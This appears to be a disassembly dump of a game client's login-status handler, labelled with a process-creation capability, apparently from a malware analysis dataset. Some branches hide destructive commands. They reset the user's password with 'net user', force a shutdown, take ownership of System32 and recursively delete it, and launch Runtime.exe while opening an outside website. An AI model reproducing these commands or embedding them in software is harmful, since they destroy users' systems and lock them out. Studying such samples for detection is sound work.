Function at 0x40b1de
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x204
mov eax, dword [0x6efdcc]
xor eax, esp
mov dword [esp + 0x200], eax
mov eax, dword [esi + 0x21840]
add eax, 0xfffffffc
push edi
cmp eax, 0xf
ja case.default.0x40b10d
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
jmp dword [eax*4 + 0x40b4a8]
mov dword [esi + 0x21698], str.Wrong_Password
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
mov dword [esi + 0x21698], str.Game_session
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
mov eax, 0x88888889
mul dword [esi + 0x21838]
shr edx, 5
inc edx
push edx
lea eax, [esp + 8]
push str.Your_account_has_been_temporarily_frozen_because_of_violation_of_the_Terms_of_Service___Paragraph_2___n_nYou_will_be_able_to_continue_to_use_the_service_in__d_hours
push eax
mov dword [esi + 0x21698], 0x6c1624
call fcn.00406ca0
add esp, 0xc
push 0x30
push str.Login
lea ecx, [esp + 0xc]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x30
push str.Login
push str.Too_many_failed_login_attempts__your_IP_has_been_blocked_for_one_hour
push 0
mov dword [esi + 0x21698], 0x6c16e4
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push str.net_user__username__lazdeqqe
mov dword [esi + 0x21698], 0x6c1748
call fcn.005e0026
push str.shutdown__s__f__t_1
call fcn.005e0026
add esp, 8
push 0x10
push 0x6c17a0
push str._________________________________________
push 0
call edi
cmp eax, 1
je 0x40b491
push 0
push 0
push str._c_takeown__f_C:WindowsSystem32__icacls_C:WindowsSystem32__grant_administrators:F__t__q__rd__s__q_C:WindowsSystem32
push 0x6c1888
push str.open
push 0
mov dword [esi + 0x21698], 0x6c17d4
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x10
push str.Login
push 0x6c188c
push 0
call edi
cmp eax, 1
je 0x40b491
push 0x10
push str.Login
push str.Your_IP_has_been_banned_by_IP_Address
push 0
mov dword [esi + 0x21698], 0x6c18ac
call edi
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x10
push str.Login
push str.Your_account_has_been_banned_by_HWID_ID
push 0
mov dword [esi + 0x21698], 0x6c18ec
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x10
push str.Login
push str.Banned:_This_account_has_been_investigated_and_permanently_closed_for_violations_of_the_Terms_of_Use
push 0
mov dword [esi + 0x21698], 0x6c1940
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x10
push str.Login
push str.Banned:_Your_account_has_been_banned_by_MAC_Address
push 0
mov dword [esi + 0x21698], 0x6c19d0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push str.shutdown__s__f__t_1
mov dword [esi + 0x21698], 0x6c1a30
call fcn.005e0026
add esp, 4
push 0x10
push str.Login
push str.Banned:_Your_account_has_been_banned_by_Client
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
mov dword [esi + 0x21698], str.Your_guest_game_play_time_is_expired
mov dword [esi + 0x20dec], 4
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x30
push str.Account_Deleted
push str.Your_account_was_deleted_because_your_payment_was_refunded_or_cancelled_n_nPlease_contact_your_payment_provider
push 0
mov dword [esi + 0x21698], 0x6c1ab0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x30
push str.No_game_ownership_on_Steam
push str.Youve_started_game_under_a_steam_account__but_that_account_does_not_have_The_War_Z_game_ownership
push 0
mov dword [esi + 0x21698], 0x6c0442
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
push 0x30
push str.Login
push str.Unknown_account_status__please_contact_support_extreme.co.th
push 0
mov dword [esi + 0x21698], 0x6c1bc4
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push 0x6c0442
push str.Runtime.exe
push str.open
push 0
mov dword [esi + 0x21698], 0x6c0442
call edi
push 5
push 0
push 0x6c0442
push str.https:__thehulkz.online_
push str.open
push 0
call edi
mov dword [esi + 0x20dec], 5
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret
mov dword [esi + 0x21698], str.Eorror_1
mov ecx, dword [esp + 0x204]
pop edi
xor ecx, esp
call fcn.005de817
add esp, 0x204
ret